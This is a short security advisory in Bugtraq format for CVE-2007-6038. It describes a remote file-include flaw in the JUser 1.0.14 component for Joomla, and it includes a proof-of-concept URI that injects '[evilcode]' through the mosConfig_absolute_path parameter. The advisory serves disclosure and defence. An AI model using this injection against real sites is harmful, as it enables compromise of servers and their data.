Joomla Equipment JUser Component MosConfig_Absolute_Path Remote File Include Vulnerability

Bugtraq ID:	26499
Class:	Input Validation Error
CVE:	CVE-2007-6038
Remote:	Yes
Local:	No
Published:	Nov 19 2007 12:00AM
Updated:	Dec 18 2007 08:04PM
Credit:	NoGe is credited with discovering this issue.
Vulnerable:	Joomla Equipment JUser 1.0.14
Not Vulnerable:

Joomla Equipment JUser Component MosConfig_Absolute_Path Remote File Include Vulnerability

The JUser component for Joomla! is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

JUser 1.0.14 is vulnerable; other versions may also be affected.

Joomla Equipment JUser Component MosConfig_Absolute_Path Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/path/administrator/components/com_juser/xajax_functions.php?mosConfig_absolute_path=[evilcode]

Joomla Equipment JUser Component MosConfig_Absolute_Path Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla Equipment JUser Component MosConfig_Absolute_Path Remote File Include Vulnerability

References:

• Vendor Homepage (Joomla Equipment)